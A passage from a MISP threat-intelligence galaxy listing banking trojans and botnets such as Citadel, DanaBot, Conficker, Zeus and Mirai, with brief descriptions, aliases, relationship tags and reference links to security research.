https://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf |
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot |
Citadel
Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.
The tag is: misp-galaxy:banker="Citadel"
Citadel has relationships with:
-
similar: misp-galaxy:malpedia="Citadel" with estimative-language:likelihood-probability="likely"
Links |
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/ |
Atmos
Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.
The tag is: misp-galaxy:banker="Atmos"
Links |
https://heimdalsecurity.com/blog/security-alert-citadel-trojan-resurfaces-atmos-zeus-legacy/ |
Ice IX
Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.
The tag is: misp-galaxy:banker="Ice IX"
Ice IX has relationships with:
-
similar: misp-galaxy:malpedia="Ice IX" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/ice-ix-not-cool-at-all/29111/ [https://securelist.com/ice-ix-not-cool-at-all/29111/ ] |
Zitmo
Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.
The tag is: misp-galaxy:banker="Zitmo"
Links |
https://securelist.com/zeus-in-the-mobile-for-android-10/29258/ |
Licat
Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011
The tag is: misp-galaxy:banker="Licat"
Licat is also known as:
-
Murofet
Licat has relationships with:
-
similar: misp-galaxy:malpedia="Murofet" with estimative-language:likelihood-probability="likely"
Links |
https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/ |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A |
Skynet
Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.
The tag is: misp-galaxy:banker="Skynet"
Links |
https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/ |
IcedID
According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.
The tag is: misp-galaxy:banker="IcedID"
IcedID has relationships with:
-
similar: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"
GratefulPOS
GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.
The tag is: misp-galaxy:banker="GratefulPOS"
GratefulPOS has relationships with:
-
similar: misp-galaxy:tool="GratefulPOS" with estimative-language:likelihood-probability="likely"
Links |
Dok
A macOS banking trojan that that redirects an infected user’s web traffic in order to extract banking credentials.
The tag is: misp-galaxy:banker="Dok"
Dok has relationships with:
-
similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"
Links |
downAndExec
Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.
The tag is: misp-galaxy:banker="downAndExec"
Links |
https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/ |
Smominru
Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.
The tag is: misp-galaxy:banker="Smominru"
Smominru is also known as:
-
Ismo
-
lsmo
Smominru has relationships with:
-
similar: misp-galaxy:malpedia="Smominru" with estimative-language:likelihood-probability="likely"
Links |
DanaBot
It’s a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)
The tag is: misp-galaxy:banker="DanaBot"
DanaBot has relationships with:
-
similar: misp-galaxy:malpedia="DanaBot" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0 |
Backswap
The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload
The tag is: misp-galaxy:banker="Backswap"
Links |
https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/ |
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/ |
Bebloh
The tag is: misp-galaxy:banker="Bebloh"
Bebloh is also known as:
-
URLZone
-
Shiotob
Bebloh has relationships with:
-
similar: misp-galaxy:malpedia="UrlZone" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security-center/writeup/2011-041411-0912-99 |
Banjori
The tag is: misp-galaxy:banker="Banjori"
Banjori is also known as:
-
MultiBanker 2
-
BankPatch
-
BackPatcher
Banjori has relationships with:
-
similar: misp-galaxy:malpedia="Banjori" with estimative-language:likelihood-probability="likely"
Links |
Qadars
The tag is: misp-galaxy:banker="Qadars"
Qadars has relationships with:
-
similar: misp-galaxy:malpedia="Qadars" with estimative-language:likelihood-probability="likely"
Links |
https://www.countercept.com/our-thinking/decrypting-qadars-banking-trojan-c2-traffic/ |
Ranbyus
The tag is: misp-galaxy:banker="Ranbyus"
Ranbyus has relationships with:
-
similar: misp-galaxy:malpedia="Ranbyus" with estimative-language:likelihood-probability="likely"
Links |
Fobber
The tag is: misp-galaxy:banker="Fobber"
Fobber has relationships with:
-
similar: misp-galaxy:malpedia="Fobber" with estimative-language:likelihood-probability="likely"
Links |
Karius
Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\64.exe, proxy32\64.dll and mod32\64.dll), these components essentially work together to deploy webinjects in several browsers.
The tag is: misp-galaxy:banker="Karius"
Karius has relationships with:
-
similar: misp-galaxy:malpedia="Karius" with estimative-language:likelihood-probability="likely"
Links |
https://research.checkpoint.com/banking-trojans-development/ |
Kronos
Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.
The tag is: misp-galaxy:banker="Kronos"
Kronos has relationships with:
-
similar: misp-galaxy:malpedia="Kronos" with estimative-language:likelihood-probability="likely"
Links |
https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/ |
CamuBot
A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.
The tag is: misp-galaxy:banker="CamuBot"
CamuBot has relationships with:
-
similar: misp-galaxy:malpedia="CamuBot" with estimative-language:likelihood-probability="likely"
Botnet
botnet galaxy.
Botnet is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
ADB.miner
A new botnet appeared over the weekend, and it’s targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.
The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system’s native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system’s most sensitive features.
Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360’s Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.
The tag is: misp-galaxy:botnet="ADB.miner"
Links |
https://www.bleepingcomputer.com/news/security/android-devices-targeted-by-new-monero-mining-botnet/ |
Bagle
Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.
The tag is: misp-galaxy:botnet="Bagle"
Bagle is also known as:
-
Beagle
-
Mitglieder
-
Lodeight
Bagle has relationships with:
-
similar: misp-galaxy:malpedia="Bagle" with estimative-language:likelihood-probability="likely"
Links |
Marina Botnet
Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.
The tag is: misp-galaxy:botnet="Marina Botnet"
Marina Botnet is also known as:
-
Damon Briant
-
BOB.dc
-
Cotmonger
-
Hacktool.Spammer
-
Kraken
Marina Botnet has relationships with:
-
similar: misp-galaxy:botnet="Kraken" with estimative-language:likelihood-probability="likely"
Links |
Torpig
Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.
The tag is: misp-galaxy:botnet="Torpig"
Torpig is also known as:
-
Sinowal
-
Anserin
Torpig has relationships with:
-
similar: misp-galaxy:malpedia="Sinowal" with estimative-language:likelihood-probability="likely"
Links |
Storm
The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.
The tag is: misp-galaxy:botnet="Storm"
Storm is also known as:
-
Nuwar
-
Peacomm
-
Zhelatin
-
Dorf
-
Ecard
Links |
Rustock
The tag is: misp-galaxy:botnet="Rustock"
Rustock is also known as:
-
RKRustok
-
Costrat
Rustock has relationships with:
-
similar: misp-galaxy:malpedia="Rustock" with estimative-language:likelihood-probability="likely"
Links |
Donbot
The tag is: misp-galaxy:botnet="Donbot"
Donbot is also known as:
-
Buzus
-
Bachsoy
Donbot has relationships with:
-
similar: misp-galaxy:malpedia="Buzus" with estimative-language:likelihood-probability="likely"
Links |
Cutwail
The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo
The tag is: misp-galaxy:botnet="Cutwail"
Cutwail is also known as:
-
Pandex
-
Mutant
Cutwail has relationships with:
-
similar: misp-galaxy:malpedia="Cutwail" with estimative-language:likelihood-probability="likely"
Links |
Akbot
Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.
The tag is: misp-galaxy:botnet="Akbot"
Akbot has relationships with:
-
similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
Links |
Srizbi
Srizbi BotNet, considered one of the world’s largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.
The tag is: misp-galaxy:botnet="Srizbi"
Srizbi is also known as:
-
Cbeplay
-
Exchanger
Links |
Lethic
The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.
The tag is: misp-galaxy:botnet="Lethic"
Lethic has relationships with:
-
similar: misp-galaxy:malpedia="Lethic" with estimative-language:likelihood-probability="likely"
Links |
Xarvester
The tag is: misp-galaxy:botnet="Xarvester"
Xarvester is also known as:
-
Rlsloup
-
Pixoliz
Links |
Sality
Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.
The tag is: misp-galaxy:botnet="Sality"
Sality is also known as:
-
Sector
-
Kuku
-
Sality
-
SalLoad
-
Kookoo
-
SaliCode
-
Kukacka
Sality has relationships with:
-
similar: misp-galaxy:malpedia="Sality" with estimative-language:likelihood-probability="likely"
Links |
Mariposa
The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.
The tag is: misp-galaxy:botnet="Mariposa"
Links |
Conficker
Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.
The tag is: misp-galaxy:botnet="Conficker"
Conficker is also known as:
-
DownUp
-
DownAndUp
-
DownAdUp
-
Kido
Conficker has relationships with:
-
similar: misp-galaxy:malpedia="Conficker" with estimative-language:likelihood-probability="likely"
Links |
Waledac
Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.
The tag is: misp-galaxy:botnet="Waledac"
Waledac is also known as:
-
Waled
-
Waledpak
Links |
Maazben
A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.
The tag is: misp-galaxy:botnet="Maazben"
Links |
https://www.symantec.com/connect/blogs/evaluating-botnet-capacity |
Gheg
Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).
The tag is: misp-galaxy:botnet="Gheg"
Gheg is also known as:
-
Tofsee
-
Mondera
Gheg has relationships with:
-
similar: misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"
Links |
Nucrypt
The tag is: misp-galaxy:botnet="Nucrypt"
Links |
https://www.botnets.fr/wiki.old/index.php?title=Nucrypt&setlang=en |
Asprox
The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.
The tag is: misp-galaxy:botnet="Asprox"
Asprox is also known as:
-
Badsrc
-
Aseljo
-
Danmec
-
Hydraflux
Asprox has relationships with:
-
similar: misp-galaxy:malpedia="Asprox" with estimative-language:likelihood-probability="likely"
Links |
Spamthru
Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine’s processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.
The tag is: misp-galaxy:botnet="Spamthru"
Spamthru is also known as:
-
Spam-DComServ
-
Covesmer
-
Xmiler
Links |
http://www.root777.com/security/analysis-of-spam-thru-botnet/ |
Gumblar
Gumblar is a malicious JavaScript trojan horse file that redirects a user’s Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.
The tag is: misp-galaxy:botnet="Gumblar"
Links |
BredoLab
The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.
The tag is: misp-galaxy:botnet="BredoLab"
BredoLab is also known as:
-
Oficla
BredoLab has relationships with:
-
similar: misp-galaxy:tool="Oficla" with estimative-language:likelihood-probability="likely"
Links |
Grum
The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world’s largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world’s 3rd largest botnet, responsible for 18% of worldwide spam traffic.
The tag is: misp-galaxy:botnet="Grum"
Grum is also known as:
-
Tedroo
-
Reddyb
Links |
Mega-D
The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.
The tag is: misp-galaxy:botnet="Mega-D"
Mega-D is also known as:
-
Ozdok
Links |
Kraken
The Kraken botnet was the world’s largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.
The tag is: misp-galaxy:botnet="Kraken"
Kraken is also known as:
-
Kracken
Kraken has relationships with:
-
similar: misp-galaxy:botnet="Marina Botnet" with estimative-language:likelihood-probability="likely"
Links |
Festi
The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.
The tag is: misp-galaxy:botnet="Festi"
Festi is also known as:
-
Spamnost
Links |
Vulcanbot
Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.
The tag is: misp-galaxy:botnet="Vulcanbot"
Links |
LowSec
The tag is: misp-galaxy:botnet="LowSec"
LowSec is also known as:
-
LowSecurity
-
FreeMoney
-
Ring0.Tools
TDL4
Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system’s network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).
The tag is: misp-galaxy:botnet="TDL4"
TDL4 is also known as:
-
TDSS
-
Alureon
TDL4 has relationships with:
-
similar: misp-galaxy:malpedia="Alureon" with estimative-language:likelihood-probability="likely"
Links |
Zeus
Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.
The tag is: misp-galaxy:botnet="Zeus"
Zeus is also known as:
-
Zbot
-
ZeuS
-
PRG
-
Wsnpoem
-
Gorhax
-
Kneber
Zeus has relationships with:
-
similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"
Links |
Kelihos
The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.
The tag is: misp-galaxy:botnet="Kelihos"
Kelihos is also known as:
-
Hlux
Kelihos has relationships with:
-
similar: misp-galaxy:malpedia="Kelihos" with estimative-language:likelihood-probability="likely"
Links |
Ramnit
Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.
The tag is: misp-galaxy:botnet="Ramnit"
Ramnit has relationships with:
-
similar: misp-galaxy:banker="Ramnit" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"
Links |
Zer0n3t
The tag is: misp-galaxy:botnet="Zer0n3t"
Zer0n3t is also known as:
-
Fib3rl0g1c
-
Zer0n3t
-
Zer0Log1x
Chameleon
The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).
The tag is: misp-galaxy:botnet="Chameleon"
Links |
Mirai
Mirai (Japanese for "the future", 未来) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.
The tag is: misp-galaxy:botnet="Mirai"
Mirai has relationships with:
-
similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"
Links |
XorDDoS
XOR DDOS is a Linux trojan used to perform large-scale DDoS
The tag is: misp-galaxy:botnet="XorDDoS"
Links |
Satori
According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.
The tag is: misp-galaxy:botnet="Satori"
Satori is also known as:
-
Okiru
Satori has relationships with:
-
similar: misp-galaxy:tool="Satori" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"
Links |
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant |
BetaBot
The tag is: misp-galaxy:botnet="BetaBot"
BetaBot has relationships with:
-
similar: misp-galaxy:malpedia="BetaBot" with estimative-language:likelihood-probability="likely"
Hajime
Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).
The tag is: misp-galaxy:botnet="Hajime"
Hajime has relationships with:
-
similar: misp-galaxy:malpedia="Hajime" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/ |
Muhstik
The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.
The tag is: misp-galaxy:botnet="Muhstik"
Links |
Hide and Seek
Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device’s flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device’s OS will automatically start the malware’s process after the next reboot.
The tag is: misp-galaxy:botnet="Hide and Seek"
Hide and Seek is also known as:
-
HNS
-
Hide 'N Seek
Hide and Seek has relationships with:
-
similar: misp-galaxy:malpedia="Hide and Seek" with estimative-language:likelihood-probability="likely"
Links |
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/ |
Mettle
Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.
The tag is: misp-galaxy:botnet="Mettle"
Links |
https://thehackernews.com/2018/05/botnet-malware-hacking.html |
Owari
IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called WICKED
The tag is: misp-galaxy:botnet="Owari"
Owari has relationships with:
-
similar: misp-galaxy:malpedia="Owari" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"
Links |
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html |
Brain Food
Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.
The tag is: misp-galaxy:botnet="Brain Food"
Links |
Pontoeb
The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding
The tag is: misp-galaxy:botnet="Pontoeb"
Pontoeb is also known as:
-
N0ise
Links |
http://dataprotectioncenter.com/general/are-you-beta-testing-malware/ |
Trik Spam Botnet
The tag is: misp-galaxy:botnet="Trik Spam Botnet"
Trik Spam Botnet is also known as:
-
Trik Trojan
Links |
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/ |
Madmax
The tag is: misp-galaxy:botnet="Madmax"
Madmax is also known as:
-
Mad Max
Madmax has relationships with:
-
similar: misp-galaxy:tool="Mad Max" with estimative-language:likelihood-probability="likely"
Links |
Pushdo
The tag is: misp-galaxy:botnet="Pushdo"
Pushdo has relationships with:
-
similar: misp-galaxy:malpedia="Pushdo" with estimative-language:likelihood-probability="likely"
Links |
https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/ |
Simda
The tag is: misp-galaxy:botnet="Simda"
Simda has relationships with:
-
similar: misp-galaxy:malpedia="Simda" with estimative-language:likelihood-probability="likely"
Links |
Virut
The tag is: misp-galaxy:botnet="Virut"
Virut has relationships with:
-
similar: misp-galaxy:malpedia="Virut" with estimative-language:likelihood-probability="likely"
Links |
Bamital
The tag is: misp-galaxy:botnet="Bamital"
Bamital is also known as:
-
Mdrop-CSK
-
Agent-OCF
Gafgyt
Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).
The tag is: misp-galaxy:botnet="Gafgyt"
Gafgyt is also known as:
-
Bashlite
Gafgyt has relationships with:
-
